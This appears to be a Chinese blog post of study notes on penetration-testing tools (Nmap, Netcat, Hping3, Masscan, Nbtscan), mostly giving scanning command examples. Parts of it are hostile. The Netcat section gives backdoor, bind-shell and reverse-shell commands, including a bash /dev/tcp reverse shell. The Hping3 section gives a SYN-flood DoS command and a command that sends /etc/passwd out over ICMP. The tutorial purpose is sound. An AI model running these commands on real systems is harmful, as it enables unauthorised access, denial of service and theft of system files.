




————————————————
“但追求诗与美,浪漫与爱情却是我们存在的意义。 --《死亡社诗》”
导言:最近停更了几周,主要为了复习,迎接期末考试的来临,之后会继续更新的。主要涉及到的范围是渗透测试,红蓝对抗,工具的使用等等。
本篇文章主要是介绍在网络安全领域中的Nmap、Netcat、Hping3,它们都是安全工程师必备的工具。今天我再一遍学习了一下这三个工具,顺手做了一些笔记。Nmap主要作为端口扫描器,侦查目标机的端口及服务状态;而Netcat则整合了网络中各种常用功能(如后门、文件传输、端口扫描、端口转发等等),能辅助完成丰富的操作;Hping3主要作为特定的TCPIP数据包产生与解析的工具。
Nmap

安装的话直接去官网就好:
https://nmap.org
扫描方式
Tcp :-sT
Syn:-sS
Ack: -sA
Udp: -sU
Rpc: -sR
Icmp: -sP
Disable port scan: -sn (只进行主机发现,不进行端口扫描)
常见扫描方案
Nmap -T4 -A <target> //-t4是指扫描级别,共0-5,6个级别,-A表示进攻性扫描。
Nmap -sV <target> //表示版本扫描
Nmap -O <target> //表示扫描操作系统
其他技巧
--host-timeout 主机超时时间 通常选值 18000
--scan-delay 报文间隔时间 通常选值 1000
-S <源地址> 定义扫描源地址,为了不被发现
实例:
Nmap -v -iR 10000 -P0 -p 80
随机选择10000台主机扫描是否开启80端口,-P0是表示发送探测报文来确定主机是否在工作很浪费时间,于是跳过主机发现。
Host -l company.com | cut -d -f 4 | nmap -v -iL -
进行dns区域传送,以发现company.com中的主机,然后将ip地址提供给nmap。
输出
-oN <file>
-oX <Xml file>
-oG <filespec> //grep输出,配合命令行中的awk可进行一次性测试
Sudo nmap -oG - -sP 10.1.1.172/29
Netcat

简介:
Netcat用于从TCP/UDP连接中读取或发送网络数据。cat是Linux中查看或连接文件的命令,所以netcat本意为从网络上查看文件内容。而Netcat的作者Hobbit为它添加了非常丰富的功能,使它几乎能够完成网络操作中各式各样的操作,所以Netcat在网络安全领域被称作“TCPIP的瑞士军刀”
常见使用方法:
网络连接
Nc mail.server.net 25 //向mail.server.net的25号tcp端口发起连接
端口扫描
Nc -v -z www.yahoo.com 80 22 //-v 显示详细信息, -z I/O模式,扫描时使用
文件传输
接收端:nc -L -p 4444 > receivedfile.zip //-L开启监听模式,作为服务器,并开启4444端口,将接受到的数据写入文件somefile.zip中。
发送端:nc 192.168.1.43 4444 <testfile.zip //使用<符号输入testfile.zip文件,并向目标机的4444端口发起连接。在建立连接成功后,发送端会将文件传送到接收端,接受端将收到的数据写入receivedfile.zip文件。整个过程,比较类似于cat命令,因为具体的网络传输过程由Netcat负责。
开启后门
靶机:nc -L -p 4444 -e cmd.exe //Netcat甚至也可以用作后门程序。如果用户已经侵入到一台计算机,那么让该计算机在开机后(或其他条件下)自动启动Netcat,打开指定的端口,等待用户连接,在连接成功后执行特定程序(如cmd.exe,以便远程执行命令)。
本机:nc 192.168.1.43 4444 //直接连接即可。
端口转发
端口转发是Netcat比较实用的用法。先将Netcat作为服务器接收其他主机的连接,然后将连接的数据转发另外的目标机端口。
比如:
mkfifo backpipe
nc -l 12345 0<backpipe | nc www.google.com 801>backpipe
比如,此处开启端口12345,作为www.google.com的代理。其他无法直接登陆google的用户可以通过此代理端口来与google进行交互。这里创建了一个fifo,是为实现双向数据通讯,因为管道运算符本身是单向的。

标语提取
标语提取的含义是抓取应用程序在建立连接后打印的标语提示信息,例如建立FTP连接后,FTP服务器可能打印出提示信息:FTP xxx.xxx等数据。
例如,首先创建一份文件,包含以下文本:
HEAD HTTP/1.0
<return>
<return>
然后,将此文件发送到目标服务器的80端口,诱发对方发送HTTP首部数据。
cat file>nc -vv -w 2 www.cnn.com 80 >output.txt //-vv 显示更详细信息,-w设置延迟时间
然后可从output.txt查看到对方的发送的HEAD的标语信息。
正向远程连接
主要使用nc危险参数-e将受害者系统A的/bin/bash重定向到本地某端口8978,然后攻击者系统B连接远程端口8978
系统A:nc -t -e bin/bash -l -p 8978 //-t是以telnet的形式发起入站请求,-e是程序重定向
系统B: nc 192.168.xx.xx 8978
反向连接
攻击者系统B监听本地端口8978,然后在受害者系统中使用nc危险参数-e将受害者系统A的/bin/bash重定向连接到远程端口8978。
系统A:nc -lvp 8978
系统B:nc -t -e bin/bash 192.168.xx.xx 8978
补充,B系统也可以用下面这命令来反弹shell
Bash -i >& dev/tcp/192.168.xx.xx/8978 0>&1
分析一下,首先&>使得标准输出重定向到了我们的TCP连接上,然后0>&1使得标准输入又重定向到了标准输出中,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。
Hping3

简介:
hping是用于生成和解析TCPIP协议数据包的开源工具,hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
Hping 常用模式:默认是tcp模式,还有rawip模式,udp模式,icmp模式,scan模式,listen模式
举例
Hping --scan 1-30,70-90 -S www.target.host //SYN方式扫描主机端口
Hping3 -S -a 114.114.114.114 -p 53 114.114.114.114 -c 5//防火墙的LandAttack攻击测试
Hping -I eth0 -s 192.168.2.1 -p 80 //端口扫描的一种方式
Hping3 -I eth0 -a 192.168.10.99 -S 192.168.10.33 -p 80 -i u1000 //对目标机建立大量的syn连接,造成dos攻击。 用hping3还可以构造出 teardown landattack synflood smuf
Hping3 192.168.1.159 --listen signature --safe --icmp
Hping3 192.168.1.108 --icmp -d 100 --sign signature --file /etc/passwd //hping3具有文件传输功能,支持tcp/udp/icmp 等协议进行文件传输。这里的signature起到识别的作用
Masscan
Masscan主要就是用来进行端口扫描的,是kali下自带的工具,下面介绍一下它的使用方法:
该工具兼容nmap参数
高级选项
--adapter-ip 指定发包的ip地址
--adapter-port 指定发包的源端口
--adapter-mac 指定发包的源mac地址
--router-mac 指定网关的mac地址
--exclude ip地址范围黑民单
--excludefile 指定ip地址范围黑民单文件
--includefile,-iL 读取一个范围列表进行扫描
--wait 指定发送完包之后的等待时间,默认为10秒
举例:
Masscan --ports 1-10000 192.168.117.130 --adapter-ip 192.168.117.1
//扫描目的ip的1-10000端口,并将发包地址改为192.168.117.1
Nbtscan
简介:Nbtscan可以从Windows网络上收集NetBIOS信息。
这是一款用于扫描Windows网络上NetBIOS名字信息的程序。该程序对给出范围内的每一个地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,NBTScan列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址。但只能用于局域网,NBTSCAN可以取到PC的真实IP地址和MAC地址,如果有”ARP攻击”在做怪,可以找到装有ARP攻击的PC的IP/和MAC地址。但只能用于局域网,总之,NBTSCAN可以取到PC的真实IP地址和MAC地址。(可以用来查找arp作怪的主机ip,只限于局域网,攻击机的mac地址可以从被害主机的mac查找,再根据mac查对应真实ip)
用法示例:
Nbtscan -r 192.168.1.0/24 //扫描整个c段
Nbtscan 192.168.1.25-137 //扫描一个范围
Nbtscan -v -s : 192.168.1.0/24 //扫描c段,并以 :分割显示结果
Nbtscan -f <file> //从文件读取扫描范围
高级用法
Nbtscan -v -s ‘ ‘ 192.168.117.130
Nbtscan -v -s ‘ ’ 192.168.117.130 | awk ‘{print $1}’
//将扫描的结果结合awk进行筛选。这里的-s是表示分隔符的意思,awk默认的分隔符是空格。
小结
个人认为,无论是在渗透测试过程中,还是在网络运维的过程中,使用的工具都有很多,每种工具的大致选项和命令其实本质是一样的,在学习时,不用死记硬背,只需要知道它可以完成某样功能,当具体要用时,再去查相关的使用方法就可以了,毕竟太多了,也记不住!!

“落日归山海,山海藏深意。”
1
END
1




